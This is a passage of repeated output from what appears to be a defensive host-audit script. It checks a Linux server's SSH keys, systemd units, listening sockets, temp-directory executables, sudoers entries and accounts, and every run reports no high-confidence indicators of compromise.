authorized_keys ==== [?] /root/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: root@nc-ph-4857.happy-times.me-20260722 [?] /home/ashraffarid2010/.ssh/authorized_keys has 2 key(s) — verify each belongs to you: ashraffarid2010@nc-ph-4857.happy-times.me-20260722 DESKTOP-RUGRG1V [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: claude-desktop-20260722 ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Jul 22 18:51 /etc/systemd/system/multi-user.target.wants/wanesni-app-monitor.service Jul 22 18:50 /etc/systemd/system/wanesni-app-monitor.service Jul 22 18:50 /etc/systemd/system/pm2-root.service Jul 22 18:27 /etc/systemd/system/multi-user.target.wants/livekit.service Jul 22 18:27 /etc/systemd/system/livekit.service Jul 22 12:12 /etc/systemd/system/multi-user.target.wants/ssh-monitor.service ==== Network & processes ==== [*] listening sockets: 172.17.0.1:53 users:(("named",pid=5006,fd=483)) 172.17.0.1:53 users:(("named",pid=5006,fd=488)) 172.17.0.1:53 users:(("named",pid=5006,fd=489)) 172.17.0.1:53 users:(("named",pid=5006,fd=487)) 172.17.0.1:53 users:(("named",pid=5006,fd=486)) 172.17.0.1:53 users:(("named",pid=5006,fd=484)) 172.17.0.1:53 users:(("named",pid=5006,fd=485)) 172.17.0.1:53 users:(("named",pid=5006,fd=482)) 172.17.0.1:53 users:(("named",pid=5006,fd=481)) 172.17.0.1:53 users:(("named",pid=5006,fd=480)) 172.17.0.1:53 users:(("named",pid=5006,fd=479)) 172.17.0.1:53 users:(("named",pid=5006,fd=478)) 203.161.35.98:53 users:(("named",pid=5006,fd=225)) 203.161.35.98:53 users:(("named",pid=5006,fd=224)) 203.161.35.98:53 users:(("named",pid=5006,fd=223)) 203.161.35.98:53 users:(("named",pid=5006,fd=222)) 203.161.35.98:53 users:(("named",pid=5006,fd=221)) 203.161.35.98:53 users:(("named",pid=5006,fd=220)) 203.161.35.98:53 users:(("named",pid=5006,fd=219)) 203.161.35.98:53 users:(("named",pid=5006,fd=218)) 203.161.35.98:53 users:(("named",pid=5006,fd=217)) 203.161.35.98:53 users:(("named",pid=5006,fd=216)) 203.161.35.98:53 users:(("named",pid=5006,fd=215)) 203.161.35.98:53 users:(("named",pid=5006,fd=214)) 172.30.0.1:53 users:(("named",pid=5006,fd=1401)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [?] executable files in temp dirs (review): /tmp/monitor-connection.sh /tmp/watch-desktop-rugrg1v.sh /tmp/capture-connection.sh /var/tmp/monitor-connection.sh /var/tmp/watch-desktop-rugrg1v.sh /var/tmp/capture-connection.sh ==== Summary ==== [ok] No high-confidence IOCs detected. (Absence of IOCs is not proof of a clean host.) ==== Cron persistence ==== [ok] no malicious patterns in cron ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] NOPASSWD entry (review): /etc/sudoers.d/wanesni-claude [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: root@nc-ph-4857.happy-times.me-20260722 [?] /home/ashraffarid2010/.ssh/authorized_keys has 3 key(s) — verify each belongs to you: ashraffarid2010@nc-ph-4857.happy-times.me-20260722 DESKTOP-RUGRG1V wanesni-deploy-claude [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: claude-desktop-20260722 ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Jul 23 07:12 /etc/systemd/system/wanesni-livekit-control.service Jul 23 07:09 /etc/systemd/system/multi-user.target.wants/wanesni-livekit-control.service Jul 23 07:04 /etc/systemd/system/multi-user.target.wants/parse-server-docker.service Jul 23 07:04 /etc/systemd/system/parse-server-docker.service Jul 22 18:51 /etc/systemd/system/multi-user.target.wants/wanesni-app-monitor.service Jul 22 18:50 /etc/systemd/system/wanesni-app-monitor.service ==== Network & processes ==== [*] listening sockets: 172.17.0.1:53 users:(("named",pid=5006,fd=483)) 172.17.0.1:53 users:(("named",pid=5006,fd=488)) 172.17.0.1:53 users:(("named",pid=5006,fd=489)) 172.17.0.1:53 users:(("named",pid=5006,fd=487)) 172.17.0.1:53 users:(("named",pid=5006,fd=486)) 172.17.0.1:53 users:(("named",pid=5006,fd=484)) 172.17.0.1:53 users:(("named",pid=5006,fd=485)) 172.17.0.1:53 users:(("named",pid=5006,fd=482)) 172.17.0.1:53 users:(("named",pid=5006,fd=481)) 172.17.0.1:53 users:(("named",pid=5006,fd=480)) 172.17.0.1:53 users:(("named",pid=5006,fd=479)) 172.17.0.1:53 users:(("named",pid=5006,fd=478)) 203.161.35.98:53 users:(("named",pid=5006,fd=225)) 203.161.35.98:53 users:(("named",pid=5006,fd=224)) 203.161.35.98:53 users:(("named",pid=5006,fd=223)) 203.161.35.98:53 users:(("named",pid=5006,fd=222)) 203.161.35.98:53 users:(("named",pid=5006,fd=221)) 203.161.35.98:53 users:(("named",pid=5006,fd=220)) 203.161.35.98:53 users:(("named",pid=5006,fd=219)) 203.161.35.98:53 users:(("named",pid=5006,fd=218)) 203.161.35.98:53 users:(("named",pid=5006,fd=217)) 203.161.35.98:53 users:(("named",pid=5006,fd=216)) 203.161.35.98:53 users:(("named",pid=5006,fd=215)) 203.161.35.98:53 users:(("named",pid=5006,fd=214)) 172.30.0.1:53 users:(("named",pid=5006,fd=1401)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [?] executable files in temp dirs (review): /tmp/monitor-connection.sh /tmp/WANESNI_A6_enable_parse_tls.sh /tmp/watch-desktop-rugrg1v.sh /tmp/capture-connection.sh /var/tmp/monitor-connection.sh /var/tmp/WANESNI_A6_enable_parse_tls.sh /var/tmp/watch-desktop-rugrg1v.sh /var/tmp/capture-connection.sh ==== Summary ==== [ok] No high-confidence IOCs detected. (Absence of IOCs is not proof of a clean host.) ==== Cron persistence ==== [ok] no malicious patterns in cron ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] NOPASSWD entry (review): /etc/sudoers.d/wanesni-claude [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: root@nc-ph-4857.happy-times.me-20260722 [?] /home/ashraffarid2010/.ssh/authorized_keys has 3 key(s) — verify each belongs to you: ashraffarid2010@nc-ph-4857.happy-times.me-20260722 DESKTOP-RUGRG1V wanesni-deploy-claude [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: claude-desktop-20260722 ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Jul 23 07:12 /etc/systemd/system/wanesni-livekit-control.service Jul 23 07:09 /etc/systemd/system/multi-user.target.wants/wanesni-livekit-control.service Jul 23 07:04 /etc/systemd/system/multi-user.target.wants/parse-server-docker.service Jul 23 07:04 /etc/systemd/system/parse-server-docker.service Jul 22 18:51 /etc/systemd/system/multi-user.target.wants/wanesni-app-monitor.service Jul 22 18:50 /etc/systemd/system/wanesni-app-monitor.service ==== Network & processes ==== [*] listening sockets: 172.17.0.1:53 users:(("named",pid=5006,fd=483)) 172.17.0.1:53 users:(("named",pid=5006,fd=488)) 172.17.0.1:53 users:(("named",pid=5006,fd=489)) 172.17.0.1:53 users:(("named",pid=5006,fd=487)) 172.17.0.1:53 users:(("named",pid=5006,fd=486)) 172.17.0.1:53 users:(("named",pid=5006,fd=484)) 172.17.0.1:53 users:(("named",pid=5006,fd=485)) 172.17.0.1:53 users:(("named",pid=5006,fd=482)) 172.17.0.1:53 users:(("named",pid=5006,fd=481)) 172.17.0.1:53 users:(("named",pid=5006,fd=480)) 172.17.0.1:53 users:(("named",pid=5006,fd=479)) 172.17.0.1:53 users:(("named",pid=5006,fd=478)) 203.161.35.98:53 users:(("named",pid=5006,fd=225)) 203.161.35.98:53 users:(("named",pid=5006,fd=224)) 203.161.35.98:53 users:(("named",pid=5006,fd=223)) 203.161.35.98:53 users:(("named",pid=5006,fd=222)) 203.161.35.98:53 users:(("named",pid=5006,fd=221)) 203.161.35.98:53 users:(("named",pid=5006,fd=220)) 203.161.35.98:53 users:(("named",pid=5006,fd=219)) 203.161.35.98:53 users:(("named",pid=5006,fd=218)) 203.161.35.98:53 users:(("named",pid=5006,fd=217)) 203.161.35.98:53 users:(("named",pid=5006,fd=216)) 203.161.35.98:53 users:(("named",pid=5006,fd=215)) 203.161.35.98:53 users:(("named",pid=5006,fd=214)) 172.30.0.1:53 users:(("named",pid=5006,fd=1401)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [ok] no executables in temp dirs ==== Summary ==== [ok] No high-confidence IOCs detected. (Absence of IOCs is not proof of a clean host.) ==== Cron persistence ==== [ok] no malicious patterns in cron ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] NOPASSWD entry (review): /etc/sudoers.d/wanesni-claude [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: root@nc-ph-4857.happy-times.me-20260722 [?] /home/ashraffarid2010/.ssh/authorized_keys has 3 key(s) — verify each belongs to you: ashraffarid2010@nc-ph-4857.happy-times.me-20260722 DESKTOP-RUGRG1V wanesni-deploy-claude [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: claude-desktop-20260722 ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Jul 23 07:12 /etc/systemd/system/wanesni-livekit-control.service Jul 23 07:09 /etc/systemd/system/multi-user.target.wants/wanesni-livekit-control.service Jul 23 07:04 /etc/systemd/system/multi-user.target.wants/parse-server-docker.service Jul 23 07:04 /etc/systemd/system/parse-server-docker.service Jul 22 18:51 /etc/systemd/system/multi-user.target.wants/wanesni-app-monitor.service Jul 22 18:50 /etc/systemd/system/wanesni-app-monitor.service ==== Network & processes ==== [*] listening sockets: 172.17.0.1:53 users:(("named",pid=5006,fd=483)) 172.17.0.1:53 users:(("named",pid=5006,fd=488)) 172.17.0.1:53 users:(("named",pid=5006,fd=489)) 172.17.0.1:53 users:(("named",pid=5006,fd=487)) 172.17.0.1:53 users:(("named",pid=5006,fd=486)) 172.17.0.1:53 users:(("named",pid=5006,fd=484)) 172.17.0.1:53 users:(("named",pid=5006,fd=485)) 172.17.0.1:53 users:(("named",pid=5006,fd=482)) 172.17.0.1:53 users:(("named",pid=5006,fd=481)) 172.17.0.1:53 users:(("named",pid=5006,fd=480)) 172.17.0.1:53 users:(("named",pid=5006,fd=479)) 172.17.0.1:53 users:(("named",pid=5006,fd=478)) 203.161.35.98:53 users:(("named",pid=5006,fd=225)) 203.161.35.98:53 users:(("named",pid=5006,fd=224)) 203.161.35.98:53 users:(("named",pid=5006,fd=223)) 203.161.35.98:53 users:(("named",pid=5006,fd=222)) 203.161.35.98:53 users:(("named",pid=5006,fd=221)) 203.161.35.98:53 users:(("named",pid=5006,fd=220)) 203.161.35.98:53 users:(("named",pid=5006,fd=219)) 203.161.35.98:53 users:(("named",pid=5006,fd=218)) 203.161.35.98:53 users:(("named",pid=5006,fd=217)) 203.161.35.98:53 users:(("named",pid=5006,fd=216)) 203.161.35.98:53 users:(("named",pid=5006,fd=215)) 203.161.35.98:53 users:(("named",pid=5006,fd=214)) 172.30.0.1:53 users:(("named",pid=5006,fd=1401)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [ok] no executables in temp dirs ==== Summary ==== [ok] No high-confidence IOCs detected. (Absence of IOCs is not proof of a clean host.) ==== Cron persistence ==== [ok] no malicious patterns in cron ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] NOPASSWD entry (review): /etc/sudoers.d/wanesni-claude [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: root@nc-ph-4857.happy-times.me-20260722 [?] /home/ashraffarid2010/.ssh/authorized_keys has 3 key(s) — verify each belongs to you: ashraffarid2010@nc-ph-4857.happy-times.me-20260722 DESKTOP-RUGRG1V wanesni-deploy-claude [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: claude-desktop-20260722 ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Jul 26 13:14 /etc/systemd/system/timers.target.wants/sanadai-web-watchdog.timer Jul 26 13:14 /etc/systemd/system/sanadai-web-watchdog.timer Jul 26 13:14 /etc/systemd/system/sanadai-web-watchdog.service Jul 26 10:51 /etc/systemd/system/timers.target.wants/jadwa-kallo-watchdog.timer Jul 26 10:51 /etc/systemd/system/jadwa-kallo-watchdog.timer Jul 26 10:51 /etc/systemd/system/jadwa-kallo-watchdog.service ==== Network & processes ==== [*] listening sockets: 172.17.0.1:53 users:(("named",pid=5006,fd=483)) 172.17.0.1:53 users:(("named",pid=5006,fd=488)) 172.17.0.1:53 users:(("named",pid=5006,fd=489)) 172.17.0.1:53 users:(("named",pid=5006,fd=487)) 172.17.0.1:53 users:(("named",pid=5006,fd=486)) 172.17.0.1:53 users:(("named",pid=5006,fd=484)) 172.17.0.1:53 users:(("named",pid=5006,fd=485)) 172.17.0.1:53 users:(("named",pid=5006,fd=482)) 172.17.0.1:53 users:(("named",pid=5006,fd=481)) 172.17.0.1:53 users:(("named",pid=5006,fd=480)) 172.17.0.1:53 users:(("named",pid=5006,fd=479)) 172.17.0.1:53 users:(("named",pid=5006,fd=478)) 203.161.35.98:53 users:(("named",pid=5006,fd=225)) 203.161.35.98:53 users:(("named",pid=5006,fd=224)) 203.161.35.98:53 users:(("named",pid=5006,fd=223)) 203.161.35.98:53 users:(("named",pid=5006,fd=222)) 203.161.35.98:53 users:(("named",pid=5006,fd=221)) 203.161.35.98:53 users:(("named",pid=5006,fd=220)) 203.161.35.98:53 users:(("named",pid=5006,fd=219)) 203.161.35.98:53 users:(("named",pid=5006,fd=218)) 203.161.35.98:53 users:(("named",pid=5006,fd=217)) 203.161.35.98:53 users:(("named",pid=5006,fd=216)) 203.161.35.98:53 users:(("named",pid=5006,fd=215)) 203.161.35.98:53 users:(("named",pid=5006,fd=214)) 127.0.0.1:18888 users:(("mediamtx",pid=2167405,fd=7)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [?] executable files in temp dirs (review): /tmp/WANESNI_D14_tasks.sh /tmp/pk.sh /tmp/d14_test.sh /tmp/d15_test.sh /tmp/WANESNI_D15_faucets.sh /var/tmp/WANESNI_D14_tasks.sh /var/tmp/pk.sh /var/tmp/d14_test.sh /var/tmp/d15_test.sh /var/tmp/WANESNI_D15_faucets.sh ==== Summary ==== [ok] No high-confidence IOCs detected. (Absence of IOCs is not proof of a clean host.) ==== Cron persistence ==== [ok] no malicious patterns in cron ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] NOPASSWD entry (review): /etc/sudoers.d/wanesni-claude [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: root@nc-ph-4857.happy-times.me-20260722 [?] /home/ashraffarid2010/.ssh/authorized_keys has 3 key(s) — verify each belongs to you: ashraffarid2010@nc-ph-4857.happy-times.me-20260722 DESKTOP-RUGRG1V wanesni-deploy-claude [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: claude-desktop-20260722 ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Jul 26 13:14 /etc/systemd/system/timers.target.wants/sanadai-web-watchdog.timer Jul 26 13:14 /etc/systemd/system/sanadai-web-watchdog.timer Jul 26 13:14 /etc/systemd/system/sanadai-web-watchdog.service Jul 26 10:51 /etc/systemd/system/timers.target.wants/jadwa-kallo-watchdog.timer Jul 26 10:51 /etc/systemd/system/jadwa-kallo-watchdog.timer Jul 26 10:51 /etc/systemd/system/jadwa-kallo-watchdog.service ==== Network & processes ==== [*] listening sockets: 172.17.0.1:53 users:(("named",pid=5006,fd=483)) 172.17.0.1:53 users:(("named",pid=5006,fd=488)) 172.17.0.1:53 users:(("named",pid=5006,fd=489)) 172.17.0.1:53 users:(("named",pid=5006,fd=487)) 172.17.0.1:53 users:(("named",pid=5006,fd=486)) 172.17.0.1:53 users:(("named",pid=5006,fd=484)) 172.17.0.1:53 users:(("named",pid=5006,fd=485)) 172.17.0.1:53 users:(("named",pid=5006,fd=482)) 172.17.0.1:53 users:(("named",pid=5006,fd=481)) 172.17.0.1:53 users:(("named",pid=5006,fd=480)) 172.17.0.1:53 users:(("named",pid=5006,fd=479)) 172.17.0.1:53 users:(("named",pid=5006,fd=478)) 203.161.35.98:53 users:(("named",pid=5006,fd=225)) 203.161.35.98:53 users:(("named",pid=5006,fd=224)) 203.161.35.98:53 users:(("named",pid=5006,fd=223)) 203.161.35.98:53 users:(("named",pid=5006,fd=222)) 203.161.35.98:53 users:(("named",pid=5006,fd=221)) 203.161.35.98:53 users:(("named",pid=5006,fd=220)) 203.161.35.98:53 users:(("named",pid=5006,fd=219)) 203.161.35.98:53 users:(("named",pid=5006,fd=218)) 203.161.35.98:53 users:(("named",pid=5006,fd=217)) 203.161.35.98:53 users:(("named",pid=5006,fd=216)) 203.161.35.98:53 users:(("named",pid=5006,fd=215)) 203.161.35.98:53 users:(("named",pid=5006,fd=214)) 127.0.0.1:18888 users:(("mediamtx",pid=756473,fd=7)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [?] executable files in temp dirs (review): /tmp/WANESNI_D14_tasks.sh /tmp/pk.sh /tmp/d14_test.sh /tmp/d15_test.sh /tmp/WANESNI_D15_faucets.sh /var/tmp/WANESNI_D14_tasks.sh /var/tmp/pk.sh /var/tmp/d14_test.sh /var/tmp/d15_test.sh /var/tmp/WANESNI_D15_faucets.sh ==== Summary ==== [ok] No high-confidence IOCs detected. (Absence of IOCs is not proof of a clean host.) ==== Cron persistence ==== [ok] no malicious patterns in cron ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] NOPASSWD entry (review): /etc/sudoers.d/wanesni-claude [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: root@nc-ph-4857.happy-times.me-20260722 [?] /home/ashraffarid2010/.ssh/authorized_keys has 3 key(s) — verify each belongs to you: ashraffarid2010@nc-ph-4857.happy-times.me-20260722 DESKTOP-RUGRG1V wanesni-deploy-claude [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: claude-desktop-20260722 ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Jul 26 13:14 /etc/systemd/system/timers.target.wants/sanadai-web-watchdog.timer Jul 26 13:14 /etc/systemd/system/sanadai-web-watchdog.timer Jul 26 13:14 /etc/systemd/system/sanadai-web-watchdog.service Jul 26 10:51 /etc/systemd/system/timers.target.wants/jadwa-kallo-watchdog.timer Jul 26 10:51 /etc/systemd/system/jadwa-kallo-watchdog.timer Jul 26 10:51 /etc/systemd/system/jadwa-kallo-watchdog.service ==== Network & processes ==== [*] listening sockets: 172.17.0.1:53 users:(("named",pid=5006,fd=483)) 172.17.0.1:53 users:(("named",pid=5006,fd=488)) 172.17.0.1:53 users:(("named",pid=5006,fd=489)) 172.17.0.1:53 users:(("named",pid=5006,fd=487)) 172.17.0.1:53 users:(("named",pid=5006,fd=486)) 172.17.0.1:53 users:(("named",pid=5006,fd=484)) 172.17.0.1:53 users:(("named",pid=5006,fd=485)) 172.17.0.1:53 users:(("named",pid=5006,fd=482)) 172.17.0.1:53 users:(("named",pid=5006,fd=481)) 172.17.0.1:53 users:(("named",pid=5006,fd=480)) 172.17.0.1:53 users:(("named",pid=5006,fd=479)) 172.17.0.1:53 users:(("named",pid=5006,fd=478)) 203.161.35.98:53 users:(("named",pid=5006,fd=225)) 203.161.35.98:53 users:(("named",pid=5006,fd=224)) 203.161.35.98:53 users:(("named",pid=5006,fd=223)) 203.161.35.98:53 users:(("named",pid=5006,fd=222)) 203.161.35.98:53 users:(("named",pid=5006,fd=221)) 203.161.35.98:53 users:(("named",pid=5006,fd=220)) 203.161.35.98:53 users:(("named",pid=5006,fd=219)) 203.161.35.98:53 users:(("named",pid=5006,fd=218)) 203.161.35.98:53 users:(("named",pid=5006,fd=217)) 203.161.35.98:53 users:(("named",pid=5006,fd=216)) 203.161.35.98:53 users:(("named",pid=5006,fd=215)) 203.161.35.98:53 users:(("named",pid=5006,fd=214)) 127.0.0.1:18888 users:(("mediamtx",pid=756473,fd=7)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [?] executable files in temp dirs (review): /tmp/WANESNI_D14_tasks.sh /tmp/pk.sh /tmp/d14_test.sh /tmp/d15_test.sh /tmp/WANESNI_D15_faucets.sh /var/tmp/WANESNI_D14_tasks.sh /var/tmp/pk.sh /var/tmp/d14_test.sh /var/tmp/d15_test.sh /var/tmp/WANESNI_D15_faucets.sh ==== Summary ==== [ok] No high-confidence IOCs detected. (Absence of IOCs is not proof of a clean host.) ==== Cron persistence ==== [ok] no malicious patterns in cron ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] NOPASSWD entry (review): /etc/sudoers.d/wanesni-claude [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: root@nc-ph-4857.happy-times.me-20260722 [?] /home/ashraffarid2010/.ssh/authorized_keys has 3 key(s) — verify each belongs to you: ashraffarid2010@nc-ph-4857.happy-times.me-20260722 DESKTOP-RUGRG1V wanesni-deploy-claude [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: claude-desktop-20260722 ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Jul 26 13:14 /etc/systemd/system/timers.target.wants/sanadai-web-watchdog.timer Jul 26 13:14 /etc/systemd/system/sanadai-web-watchdog.timer Jul 26 13:14 /etc/systemd/system/sanadai-web-watchdog.service Jul 26 10:51 /etc/systemd/system/timers.target.wants/jadwa-kallo-watchdog.timer Jul 26 10:51 /etc/systemd/system/jadwa-kallo-watchdog.timer Jul 26 10:51 /etc/systemd/system/jadwa-kallo-watchdog.service ==== Network & processes ==== [*] listening sockets: 172.17.0.1:53 users:(("named",pid=5006,fd=483)) 172.17.0.1:53 users:(("named",pid=5006,fd=488)) 172.17.0.1:53 users:(("named",pid=5006,fd=489)) 172.17.0.1:53 users:(("named",pid=5006,fd=487)) 172.17.0.1:53 users:(("named",pid=5006,fd=486)) 172.17.0.1:53 users:(("named",pid=5006,fd=484)) 172.17.0.1:53 users:(("named",pid=5006,fd=485)) 172.17.0.1:53 users:(("named",pid=5006,fd=482)) 172.17.0.1:53 users:(("named",pid=5006,fd=481)) 172.17.0.1:53 users:(("named",pid=5006,fd=480)) 172.17.0.1:53 users:(("named",pid=5006,fd=479)) 172.17.0.1:53 users:(("named",pid=5006,fd=478)) 203.161.35.98:53 users:(("named",pid=5006,fd=225)) 203.161.35.98:53 users:(("named",pid=5006,fd=224)) 203.161.35.98:53 users:(("named",pid=5006,fd=223)) 203.161.35.98:53 users:(("named",pid=5006,fd=222)) 203.161.35.98:53 users:(("named",pid=5006,fd=221)) 203.161.35.98:53 users:(("named",pid=5006,fd=220)) 203.161.35.98:53 users:(("named",pid=5006,fd=219)) 203.161.35.98:53 users:(("named",pid=5006,fd=218)) 203.161.35.98:53 users:(("named",pid=5006,fd=217)) 203.161.35.98:53 users:(("named",pid=5006,fd=216)) 203.161.35.98:53 users:(("named",pid=5006,fd=215)) 203.161.35.98:53 users:(("named",pid=5006,fd=214)) 127.0.0.1:18888 users:(("mediamtx",pid=756473,fd=7)) [*] processes running from /tmp, /dev/shm or /var/tmp: [ok] none ==== Executables in temp dirs ==== [?] executable files in temp dirs (review): /tmp/WANESNI_D14_tasks.sh /tmp/pk.sh /tmp/d14_test.sh /tmp/d15_test.sh /tmp/WANESNI_D15_faucets.sh /var/tmp/WANESNI_D14_tasks.sh /var/tmp/pk.sh /var/tmp/d14_test.sh /var/tmp/d15_test.sh /var/tmp/WANESNI_D15_faucets.sh ==== Summary ==== [ok] No high-confidence IOCs detected. (Absence of IOCs is not proof of a clean host.) ==== Cron persistence ==== [ok] no malicious patterns in cron ==== Sudoers ==== [?] NOPASSWD entry (review): /etc/sudoers.d/antmedia [?] NOPASSWD entry (review): /etc/sudoers.d/wanesni-claude [?] blanket NOPASSWD drop-in (review — likely legit, e.g. cPanel/AntMedia): /etc/sudoers.d/48-wp-toolkit [?] NOPASSWD entry (review): /etc/sudoers.d/sudoers_nrpe [ok] no attacker-created sudoers drop-ins ==== Accounts ==== [*] recently-added users (by /etc/passwd mtime order, last 5): freepbx17 (uid 1004, shell /bin/bash) firebird (uid 940, shell /sbin/nologin) ashraf (uid 1005, shell /bin/bash) claude_user_ashraf (uid 1006, shell /bin/bash) clamupdate (uid 936, shell /usr/sbin/nologin) ==== SSH authorized_keys ==== [?] /root/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: root@nc-ph-4857.happy-times.me-20260722 [?] /home/ashraffarid2010/.ssh/authorized_keys has 3 key(s) — verify each belongs to you: ashraffarid2010@nc-ph-4857.happy-times.me-20260722 DESKTOP-RUGRG1V wanesni-deploy-claude [?] /home/claude_user_ashraf/.ssh/authorized_keys has 1 key(s) — verify each belongs to you: claude-desktop-20260722 ==== Startup & preload hooks ==== [ok] /etc/ld.so.preload empty/absent [*] newest systemd units (review for unknowns): Jul 26 13:14 /etc/systemd/system/timers.target.wants/sanadai-web-watchdog.timer Jul 26 13:14 /etc/systemd/system/sanadai-web-watchdog.timer Jul 26 13:14 /etc/systemd/system/sanadai-web-watchdog.service Jul 26 10:51 